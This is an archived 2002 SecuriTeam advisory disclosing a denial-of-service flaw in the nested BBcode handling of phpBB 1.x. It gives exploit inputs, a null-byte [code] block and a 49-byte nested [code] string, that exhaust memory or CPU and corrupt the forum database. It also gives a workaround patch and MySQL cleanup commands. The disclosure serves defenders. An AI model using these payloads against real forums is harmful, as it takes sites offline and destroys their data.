

[UNIX] PHPBB BBcode Process Vulnerability (DoS)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-04/0022.html>

From: support@securiteam.com

Date: 04/06/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 6 Apr 2002 14:16:25 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

PHPBB BBcode Process Vulnerability (DoS)

SUMMARY

WSS has found a vulnerability in <http://www.phpbb.com/> phpBB, an open source bulletin board created by the phpBB group. The vulnerability occurs whenever phpBB processes a "BBcode". This could allow an attacker to DoS a system and literally destroy phpBB's database.

DETAILS

Affected Versions:

phpBB version 1.4.4

phpBB version 1.4.2

phpBB version 1.4.1

phpBB version 1.4.0

phpBB version 1.2.1

phpBB version 1.2.0

phpBB version 1.0.0

Not Affected Version:

phpBB version 2.x

phpBB supports nesting of "BBcode", i.e.

`[code][code]`, `[quote][quote]`, `[list][list]`. Unfortunately, a

vulnerability arises from this due to bad coding on behalf of the author

Securiteam: [UNIX] PHPBB BBcode Process Vulnerability (DoS)

(the bad coding is found at "functions.php" file).

Exploit:

Submitting:

[code]

\0\0\0\0\0\0\0

[/code]

Will cause the following data to be saved to the database:

[1code]

\0\0\0\0\0\0\0

[/code1][1code]

\0\0\0\0\0\0\0

[/code1][1code]

\0\0\0\0\0\0\0

[/code1][1code]

\0\0\0\0\0\0\0

[/code1][1code]

\0\0\0\0\0\0\0

[/code1][1code]

\0\0\0\0\0\0\0

[/code1][1code]

\0\0\0\0\0\0\0

[/code1]

Therefore submitting this:

[code]"\0"*800[/code]

Will cause the system as you can see:

whitecell\$ top

```
PID USER PRI NI SIZE RSS SHARE STAT TIME COMMAND
```

```
8643 nobody 13 0 212M 81M 13604 D 8.0 65.7 0:07 httpd
```

(To utilize a large amount of memory, and CPU time).

After some time it will report:

"Could not enter post text!"

However, two pieces of data have already saved to databases causing the database to be incomplete, making any additional access to it impossible. phpBB will report the following error when accessed: "Could not connect to the forums database."

Submitting 49 bytes of data:

[code]\0[code]\0[code]\0[/code]\0[/code]\0[/code]

Will cause the program to utilize almost 100% of its CPU time as you can see here:

```
PID USER PRI NI SIZE RSS SHARE STAT TIME COMMAND
```

```
25741 nobody 14 0 11828 9996 416 R 99.9 7.8 2:38 httpd
```

Securiteam: [UNIX] PHPBB Bbcode Process Vulnerability (DoS)

Workaround:

- 1) Disable BBcode until the vendor has issued a fixed.
- 2) Modify functions.php bbencode_code() to include:

```
function bbencode_code($message, $is_html_disabled)
{
$message = preg_replace("/\[code\](.*?)\[\/code\]/si", "<!-- BBCode Start
--><TABLE BORDER=0 ALIGN=CENTER WIDTH=85><TR><TD><font
size=-1>Code:</font><HR></TD></TR><TR><TD><FONT
SIZE=-1><PRE>\\1</PRE></FONT></TD></TR><TR><TD><HR></TD></TR></TABLE><!--
BBCode End -->", $message);
return $message;

} // bbencode_code()
```

How to repair the database:

If your URL is: <http://host/forums/viewtopic.php?topic=1162>

You can use the following commands to repair it:

```
whitecell$ mysql -uuser -ppasswd
mysql> use databasename;
mysql> select * from topics where topic_id = 1162; //GET post_id
mysql> delete from posts where post_id = 6280;
mysql> delete from posts_text where post_id = 6280;
mysql> delete from topics where topic_id = 1162;
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:security@whitecell.org>
Whitecell Security Systems.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] MP3 Files Opened by Winamp Can Take Control of the Winamp's Minibrowser"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)